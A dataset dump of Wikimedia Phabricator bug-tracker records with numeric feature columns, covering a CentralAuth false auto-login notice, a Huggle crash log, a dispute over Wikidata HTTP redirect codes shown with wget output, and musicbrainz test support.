* {T100413}",Needs Triage,90.0,1435256683,1697391554.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-am3byyeidwur25exea4k,task_description,resolved,True,c3,2,True,False,False,-1,True,0.5,0.0,0.0,0.5,5.5,4.5,2.0,0.0,0.0,1.0,1.0,6.0,0.0,0.0,0.0,2.5,0.0,10.0,5.5,0.0,1.5,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,5.5,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,6.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,3.5,0.0,0.0,1.0,0.0,0.5,2.0,3.0,7.0,4.0,2.0,3.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,9.0,5.5,3.0,0.0,2.0,0.0,9.0,0.0,2.5,0.5,0.0,0.5,0.0,1.0,0.0,3.450980392156863,0.803921568627451,"Using e.g. google cache:

URL

It pops up ""You are centrally logged in. Reload the page to apply your user settings."" every time but this is obviously not true. I don't know what it did, but it didn't establish an meaningful session.

I don't know if it is feasible to prevent the auto-login attempt when it isn't useful. But at least we shouldn't report that it succeeded when it didn't.
'
Possibly related:
* {T100413}"
2211543,CentralAuth wrongly reports successful auto-login on mirrors,"Change 965729 **merged** by jenkins-bot:
%%%[mediawiki/extensions/CentralAuth@master] Remove success notification when we can't get autologin response%%%
https://gerrit.wikimedia.org/r/965729",,,1697226614,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-am3byyeidwur25exea4k,task_subcomment,,True,c3,3,False,,,432,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,3.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,4.314285714285714,0.8,"Change 965729 **merged** by jenkins-bot:
%%%[mediawiki/extensions/CentralAuth@master] Remove success notification when we can't get autologin response%%%
GERRIT_URL"
2211195,CentralAuth wrongly reports successful auto-login on mirrors,"Change 965729 had a related patch set uploaded (by Bartosz Dziewoński; author: Bartosz Dziewoński):
%%%[mediawiki/extensions/CentralAuth@master] Remove success notification when we can't get autologin response%%%
https://gerrit.wikimedia.org/r/965729",,,1697199380,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-am3byyeidwur25exea4k,task_subcomment,,True,c3,3,False,,,432,True,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,20.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,7.0,2.0,0.0,2.0,2.0,12.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,4.902439024390244,0.8536585365853658,"Change 965729 had a related patch set uploaded (by Bartosz Dziewoński; author: Bartosz Dziewoński):
%%%[mediawiki/extensions/CentralAuth@master] Remove success notification when we can't get autologin response%%%
GERRIT_URL"
517083,CentralAuth wrongly reports successful auto-login on mirrors,">>! In T103883#1401661, @csteipp wrote:
> It would be less efficient, but we could load the personalization message via xhr, so only CORS domains could load it. I think we've talked about that previously, but I don't recall the outcome.

I don't recall that either, but I imagine one issue there is that we support a superset of browsers that support CORS. Though we can fallback to current behaviour in that case (using e.g. bool `$.support.cors`). Can you elaborate on what we'd use CORS for exactly?",,,1440810838,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-am3byyeidwur25exea4k,task_subcomment,,True,c3,3,True,,,8,True,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,3.0,3.0,0.0,0.0,2.0,9.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,9.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,16.0,5.0,2.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,10.0,14.0,5.0,2.0,0.0,0.0,10.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,3.793103448275862,0.8275862068965517,"QUOTE
QUOTE

I don't recall that either, but I imagine one issue there is that we support a superset of browsers that support CORS. Though we can fallback to current behaviour in that case (using e.g. bool CODE). Can you elaborate on what we'd use CORS for exactly?"
481866,CentralAuth wrongly reports successful auto-login on mirrors,"Duplicate / generalization of https://phabricator.wikimedia.org/T57887?

T100413 is related in that we see this affect when the autologin script is run on a domain that doesn't map to a wiki id, which is currently the case for *.m.* domains at the WMF.

It would be less efficient, but we could load the personalization message via xhr, so only CORS domains could load it. I think we've talked about that previously, but I don't recall the outcome.",,,1435257171,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-am3byyeidwur25exea4k,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,7.0,0.0,9.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,9.0,3.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,13.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,1.0,1.0,0.0,8.0,4.0,9.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,10.0,8.0,0.0,0.0,0.0,8.0,0.0,3.0,2.0,0.0,0.0,1.0,0.0,0.0,3.7142857142857144,0.7252747252747253,"Duplicate / generalization of URL

T100413 is related in that we see this affect when the autologin script is run on a domain that doesn't map to a wiki id, which is currently the case for *.m.* domains at the WMF.

It would be less efficient, but we could load the personalization message via xhr, so only CORS domains could load it. I think we've talked about that previously, but I don't recall the outcome."
103825,Problem in Login,"Unfortunately Huggle has crashed. Please submit the following information together with details of what were you doing to https://phabricator.wikimedia.org/maniphest/task/create/?projects=Huggle

System log
==================
qui jun 25 08:23:17 2015: Loaded in 137ms
qui jun 25 08:23:17 2015: Extensions: 4
qui jun 25 08:23:17 2015: Successfully loaded: C:\Program Files\Huggle\extensions\huggle_thanks.dll
qui jun 25 08:23:17 2015: Successfully loaded: C:\Program Files\Huggle\extensions\huggle_sh.dll
qui jun 25 08:23:17 2015: Successfully loaded: C:\Program Files\Huggle\extensions\huggle_md.dll
qui jun 25 08:23:17 2015: Successfully loaded: C:\Program Files\Huggle\extensions\huggle_en.dll
qui jun 25 08:23:16 2015: Loading plugins in C:\Program Files\Huggle\extensions and C:\Users\wrodriguez.TI014\AppData\Local\Wikimedia\Huggle\extensions\
qui jun 25 08:23:16 2015: Home: C:/Users/wrodriguez.TI014/AppData/Local/Wikimedia/Huggle
qui jun 25 08:23:16 2015: Loading configuration
qui jun 25 08:23:16 2015: Huggle 3 QT-LX, version 3.1.12 build: 2563 3.1.12-1-ga0be145




Exception details
===========================
Error code: 2
Reason: There is no data to be processed
Source:void __cdecl Huggle::ApiQueryResult::Process(void)@C:\Users\petr.bena\Documents\huggle3-qt-lx\huggle\apiqueryresult.cpp:89
Stack trace:
25 unknown symbol 0x0
24 unknown symbol 0x0
23 unknown symbol 0x0
22 unknown symbol 0x0
21 unknown symbol 0x0
20 QMetaObject::activate 0x633519f0
19 QNetworkReply::writeData 0x61152c00
18 QNetworkReply::uploadProgress 0x611c7770
17 QObject::event 0x63356530
16 QApplicationPrivate::notify_helper 0x61545bb0
15 QApplication::notify 0x61543290
14 QApplication::notify 0x61543290
13 QCoreApplication::notifyInternal 0x63330df0
12 QCoreApplicationPrivate::sendPostedEvents 0x633327d0
11 QCoreApplicationPrivate::sendPostedEvents 0x633327d0
10 QEventDispatcherWin32::processEvents 0x63376fc0
9 TranslateMessageEx 0x77b09930
8 TranslateMessage 0x77b096f0
7 QEventDispatcherWin32::processEvents 0x63376fc0
6 QEventDispatcherWin32::processEvents 0x63376fc0
5 QEventLoop::exec 0x6332dce0
4 QCoreApplication::exec 0x6332ff60
3 QCoreApplication::exec 0x6332ff60
2 QCoreApplication::exec 0x6332ff60
1 BaseThreadInitThunk 0x779e59c0
0 RtlUserThreadStart 0x77c1b960
",Needs Triage,90.0,1435231620,1436429848.0,PHID-USER-sm2f23424zudkl5bqgc6,False,PHID-USER-4j7xntcqqwei7izzlfnd,False,PHID-TASK-uehn6lnowyxchffklqbu,task_description,resolved,True,c3,2,False,False,True,-1,True,0.0,0.0,0.0,0.25,0.0,1.25,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.25,0.0,0.0,1.5,1.5,0.0,0.25,0.0,0.0,0.25,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.25,0.0,0.25,0.25,0.0,0.0,0.0,0.0,0.25,0.0,0.0,1.25,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.75,16.5,0.0,0.25,0.5,0.0,0.0,0.0,0.0,0.75,0.25,19.25,0.0,0.25,1.5,19.0,0.0,0.0,0.0,0.25,0.0,0.25,0.0,0.0,0.5,0.0,0.0,0.25,5.78125,0.4914772727272727,"Unfortunately Huggle has crashed. Please submit the following information together with details of what were you doing to URL

System log
==================
qui jun 25 08:23:17 2015: Loaded in 137ms
qui jun 25 08:23:17 2015: Extensions: 4
qui jun 25 08:23:17 2015: Successfully loaded: C:\Program Files\Huggle\extensions\huggle_thanks.dll
qui jun 25 08:23:17 2015: Successfully loaded: C:\Program Files\Huggle\extensions\huggle_sh.dll
qui jun 25 08:23:17 2015: Successfully loaded: C:\Program Files\Huggle\extensions\huggle_md.dll
qui jun 25 08:23:17 2015: Successfully loaded: C:\Program Files\Huggle\extensions\huggle_en.dll
qui jun 25 08:23:16 2015: Loading plugins in C:\Program Files\Huggle\extensions and C:\Users\wrodriguez.TI014\AppData\Local\Wikimedia\Huggle\extensions\
qui jun 25 08:23:16 2015: Home: C:/Users/wrodriguez.TI014/AppData/Local/Wikimedia/Huggle
qui jun 25 08:23:16 2015: Loading configuration
qui jun 25 08:23:16 2015: Huggle 3 QT-LX, version 3.1.12 build: 2563 3.1.12-1-ga0be145




Exception details
===========================
Error code: 2
Reason: There is no data to be processed
Source:void __cdecl Huggle::ApiQueryResult::Process(void)@C:\Users\petr.bena\Documents\huggle3-qt-lx\huggle\apiqueryresult.cpp:89
Stack trace:
25 unknown symbol 0x0
24 unknown symbol 0x0
23 unknown symbol 0x0
22 unknown symbol 0x0
21 unknown symbol 0x0
20 QMetaObject::activate 0x633519f0
19 QNetworkReply::writeData 0x61152c00
18 QNetworkReply::uploadProgress 0x611c7770
17 QObject::event 0x63356530
16 QApplicationPrivate::notify_helper 0x61545bb0
15 QApplication::notify 0x61543290
14 QApplication::notify 0x61543290
13 QCoreApplication::notifyInternal 0x63330df0
12 QCoreApplicationPrivate::sendPostedEvents 0x633327d0
11 QCoreApplicationPrivate::sendPostedEvents 0x633327d0
10 QEventDispatcherWin32::processEvents 0x63376fc0
9 TranslateMessageEx 0x77b09930
8 TranslateMessage 0x77b096f0
7 QEventDispatcherWin32::processEvents 0x63376fc0
6 QEventDispatcherWin32::processEvents 0x63376fc0
5 QEventLoop::exec 0x6332dce0
4 QCoreApplication::exec 0x6332ff60
3 QCoreApplication::exec 0x6332ff60
2 QCoreApplication::exec 0x6332ff60
1 BaseThreadInitThunk 0x779e59c0
0 RtlUserThreadStart 0x77c1b960
"
489157,Problem in Login,"Since it works now and @petrb thinks he already fixed this, I'm closing it. Feel free to reopen if it occurs again.",,,1436429848,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-uehn6lnowyxchffklqbu,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,12.0,12.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,20.0,12.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.96,0.88,"Since it works now andSCREEN_NAME thinks he already fixed this, I'm closing it. Feel free to reopen if it occurs again."
481586,Problem in Login,"Well, I deleted all in my personal configuration page and it work now

https://es.wikipedia.org/w/index.php?title=Usuario%3AThe_Photographer%2Fhuggle.css&type=revision&diff=83407834&oldid=79498709

Realy I dont know why",,,1435240088,,PHID-USER-sm2f23424zudkl5bqgc6,False,,,PHID-TASK-uehn6lnowyxchffklqbu,task_subcomment,,True,c3,2,False,,,-1,True,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,13.0,0.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,17.0,4.0,9.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5217391304347827,0.9130434782608695,"Well, I deleted all in my personal configuration page and it work now

URL

Realy I dont know why"
481557,Problem in Login,Does it happen when you try again or it only happened once? I also think this might have been fixed in last version.,,,1435236842,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-uehn6lnowyxchffklqbu,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,20.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,4.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,8.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,16.0,4.0,0.0,4.0,0.0,0.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.76,0.96,Does it happen when you try again or it only happened once? I also think this might have been fixed in last version.
103807,Wikidata use the wrong HTTP-code for content negotiation,"Not quite sure if the content negotiation is part of the extension or the site setup. I think it happen after the first hit on the Special:EntityData, and therefore is part of the extension.

During negotiation between the external client (as in web browser) and the repo the sequence is now HTTP 301 (secure connection) - HTTP 303 (address resolution) - HTTP 303 (content negotiation) - HTTP 200 (content delivery).

The response code for address resolution should be HTTP 303 See other (correct impl., [[ http://www.w3.org/TR/cooluris/ | Cool URIs for the Semantic Web ]]) while content negotiation should be HTTP 302 Found (wrong impl., [[ http://www.w3.org/2001/tag/doc/alternatives-discovery-20061101.html | On Linking Alternative Representations To Enable Discovery And Publishing ]]).

There are a lot of sites that use ""HTTP 301 Moved permanently"" and ""HTTP 303 See other"" for content negotiation, but ""HTTP 302 Found"" (also called ""HTTP 302 Moved temporarily"") is the correct one. See also [[ http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html | HTTP/1.1: Status Code Definitions ]].

**Server responses**

```
john@heimdal:~/tmp$ wget -S www.wikidata.org/entity/Q36661
--2015-06-25 10:59:13--  http://www.wikidata.org/entity/Q36661
Slår opp vertsnavn www.wikidata.org (www.wikidata.org) … 91.198.174.192, 2620:0:862:ed1a::1
Kobler til www.wikidata.org (www.wikidata.org)|91.198.174.192|:80 … tilkoblet.
HTTP forespørsel sendt. Venter på svar … 
  HTTP/1.1 301 TLS Redirect
  Server: Varnish
  Location: https://www.wikidata.org/entity/Q36661
  Content-Length: 0
  Accept-Ranges: bytes
  Date: Thu, 25 Jun 2015 08:59:14 GMT
  X-Varnish: 1438332533
  Age: 0
  Via: 1.1 varnish
  Connection: close
  X-Cache: cp3008 frontend miss (0)
  Set-Cookie: GeoIP=NO:11:Lillehammer:61.1333:10.5000:v4; Path=/; Domain=.wikidata.org
  Set-Cookie: WMF-Last-Access=25-Jun-2015;Path=/;HttpOnly;Expires=Mon, 27 Jul 2015 00:00:00 GMT
Plassering: https://www.wikidata.org/entity/Q36661 [følgende]
--2015-06-25 10:59:14--  https://www.wikidata.org/entity/Q36661
Kobler til www.wikidata.org (www.wikidata.org)|91.198.174.192|:443 … tilkoblet.
HTTP forespørsel sendt. Venter på svar … 
  HTTP/1.1 303 See Other
  Server: nginx/1.9.2
  Date: Thu, 25 Jun 2015 08:59:14 GMT
  Content-Type: text/html; charset=iso-8859-1
  Content-Length: 262
  Connection: keep-alive
  X-Powered-By: HHVM/3.3.0-static
  Location: https://www.wikidata.org/wiki/Special:EntityData/Q36661
  X-Varnish: 2371060664, 1854837344, 134795471
  Via: 1.1 varnish, 1.1 varnish, 1.1 varnish
  Accept-Ranges: bytes
  Age: 0
  X-Cache: cp1053 miss (0), cp3041 miss (0), cp3041 frontend miss (0)
  Strict-Transport-Security: max-age=1209600
  X-Analytics: https=1;WMF-Last-Access=25-Jun-2015
Plassering: https://www.wikidata.org/wiki/Special:EntityData/Q36661 [følgende]
--2015-06-25 10:59:15--  https://www.wikidata.org/wiki/Special:EntityData/Q36661
Bruker etablert tilkobling til www.wikidata.org:443 på nytt.
HTTP forespørsel sendt. Venter på svar … 
  HTTP/1.1 303 See Other               <<== WRONG CODE
  Server: nginx/1.9.2
  Date: Thu, 25 Jun 2015 08:59:15 GMT
  Content-Type: text/html; charset=utf-8
  Transfer-Encoding: chunked
  Connection: keep-alive
  X-Powered-By: HHVM/3.6.1
  X-Content-Type-Options: nosniff
  Vary: Accept-Encoding,X-Forwarded-Proto,Cookie
  Expires: Thu, 01 Jan 1970 00:00:00 GMT
  Location: https://www.wikidata.org/wiki/Special:EntityData/Q36661.json
  Last-Modified: Thu, 25 Jun 2015 08:59:15 GMT
  X-Varnish: 2436456097, 3983484236, 134797070
  Via: 1.1 varnish, 1.1 varnish, 1.1 varnish
  Age: 0
  X-Cache: cp1067 miss (0), cp3005 miss (0), cp3041 frontend miss (0)
  Strict-Transport-Security: max-age=1209600
  Cache-Control: private, s-maxage=0, max-age=0, must-revalidate
  X-Analytics: https=1;WMF-Last-Access=25-Jun-2015
Plassering: https://www.wikidata.org/wiki/Special:EntityData/Q36661.json [følgende]
--2015-06-25 10:59:15--  https://www.wikidata.org/wiki/Special:EntityData/Q36661.json
Bruker etablert tilkobling til www.wikidata.org:443 på nytt.
HTTP forespørsel sendt. Venter på svar … 
  HTTP/1.1 200 OK
  Server: nginx/1.9.2
  Date: Thu, 25 Jun 2015 08:59:15 GMT
  Content-Type: application/json; charset=UTF-8
  Transfer-Encoding: chunked
  Connection: keep-alive
  X-Content-Type-Options: nosniff
  X-Powered-By: HHVM/3.6.1
  Access-Control-Allow-Origin: *
  X-Frame-Options: DENY
  Vary: Accept-Encoding
  Last-Modified: Sat, 13 Jun 2015 14:37:25 GMT
  X-Varnish: 2033080611, 3336853391, 134798470 125619796
  Via: 1.1 varnish, 1.1 varnish, 1.1 varnish
  Age: 1890
  X-Cache: cp1066 miss (0), cp3008 miss (0), cp3041 frontend hit (2)
  Strict-Transport-Security: max-age=1209600
  Cache-Control: private, s-maxage=0, max-age=0, must-revalidate
  X-Analytics: https=1;WMF-Last-Access=25-Jun-2015
Lengde: ikke angitt [application/json]
Lagrer til: «Q36661»

```",Needs Triage,90.0,1435226033,1440514269.0,PHID-USER-vlni4mhyozor7ghqnfkl,False,PHID-USER-5dqihbanu3caaj7pigif,False,PHID-TASK-hzivl2b2hxmqtyn5wubq,task_description,invalid,True,c3,2,False,False,True,-1,True,0.0,0.0,0.0,0.0,0.3333333333333333,3.3333333333333335,0.3333333333333333,0.0,0.0,0.3333333333333333,1.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,3.0,6.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,2.3333333333333335,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.3333333333333333,3.3333333333333335,0.0,0.0,0.0,0.3333333333333333,0.0,13.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,4.666666666666667,2.6666666666666665,17.333333333333332,0.6666666666666666,2.3333333333333335,4.666666666666667,0.0,0.0,0.0,0.0,2.3333333333333335,0.0,3.6666666666666665,0.0,0.6666666666666666,6.0,8.666666666666666,0.0,3.6666666666666665,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,1.6666666666666667,3.72972972972973,0.6576576576576576,"Not quite sure if the content negotiation is part of the extension or the site setup. I think it happen after the first hit on the Special:EntityData, and therefore is part of the extension.

During negotiation between the external client (as in web browser) and the repo the sequence is now HTTP 301 (secure connection) - HTTP 303 (address resolution) - HTTP 303 (content negotiation) - HTTP 200 (content delivery).

The response code for address resolution should be HTTP 303 See other (correct impl., [[ URL | Cool URIs for the Semantic Web ]]) while content negotiation should be HTTP 302 Found (wrong impl., [[ URL | On Linking Alternative Representations To Enable Discovery And Publishing ]]).

There are a lot of sites that use ""HTTP 301 Moved permanently"" and ""HTTP 303 See other"" for content negotiation, but ""HTTP 302 Found"" (also called ""HTTP 302 Moved temporarily"") is the correct one. See also [[ URL | HTTP/1.1: Status Code Definitions ]].

**Server responses**

``CODE``"
567942,Wikidata use the wrong HTTP-code for content negotiation,@jeblad Section 4.3 of the W3C document disagrees with you: it clearly states that 303 can and should be used for content negotiation. How about this? {T119536},,,1448388250,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-hzivl2b2hxmqtyn5wubq,task_subcomment,,True,c3,3,True,,,20,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,16.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,16.0,6.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,6.0,16.0,3.0,3.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.3125,1.0,SCREEN_NAME Section 4.3 of the W3C document disagrees with you: it clearly states that 303 can and should be used for content negotiation. How about this? {T119536}
567708,Wikidata use the wrong HTTP-code for content negotiation,"Sorry but you misunderstood. We are now sending 301 - 303 - 303 - 200 while the sequence should be 303 - 302 - 200. We are doing a content negotiation on a redirect. This is wrong. The correct code for _content_negotiation_ (ie content type for entity description) is 302. The correct one for _address_resolution_ (ie redirect for entity description) is 303.

",,,1448359919,,PHID-USER-vlni4mhyozor7ghqnfkl,False,,,PHID-TASK-hzivl2b2hxmqtyn5wubq,task_subcomment,,True,c3,3,False,,,20,True,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,8.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,6.0,0.0,1.0,0.0,0.0,0.0,9.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,8.0,1.0,1.0,8.0,0.0,0.0,0.0,0.0,3.0,1.0,14.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,4.0,3.883116883116883,0.5584415584415584,"Sorry but you misunderstood. We are now sending 301 - 303 - 303 - 200 while the sequence should be 303 - 302 - 200. We are doing a content negotiation on a redirect. This is wrong. The correct code for _content_negotiation_ (ie content type for entity description) is 302. The correct one for _address_resolution_ (ie redirect for entity description) is 303.

"
514212,Wikidata use the wrong HTTP-code for content negotiation,As per http://www.w3.org/TR/cooluris/#r303gendocument 303 is correct for content negotiation for linked data.,,,1440514269,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-hzivl2b2hxmqtyn5wubq,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.230769230769231,0.9230769230769231,As per URL 303 is correct for content negotiation for linked data.
103783,Add http auth support for www.musicbrainz.org,"https://wiki.musicbrainz.org is MW 1.19.2 and uses http authentication, and would be a good addition to the test suite.",Needs Triage,90.0,1435211740,1437718825.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-ldooglhg45a3eg7cmxhh,False,PHID-TASK-4sidei2jix6luyxcjeuv,task_description,resolved,True,c3,2,True,False,True,-1,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.85,0.95,"URL is MW 1.19.2 and uses http authentication, and would be a good addition to the test suite."
494608,Add http auth support for www.musicbrainz.org,"Change 225843 merged by jenkins-bot:
Run SITE_ONLY tests on wiki.musicbrainz.org

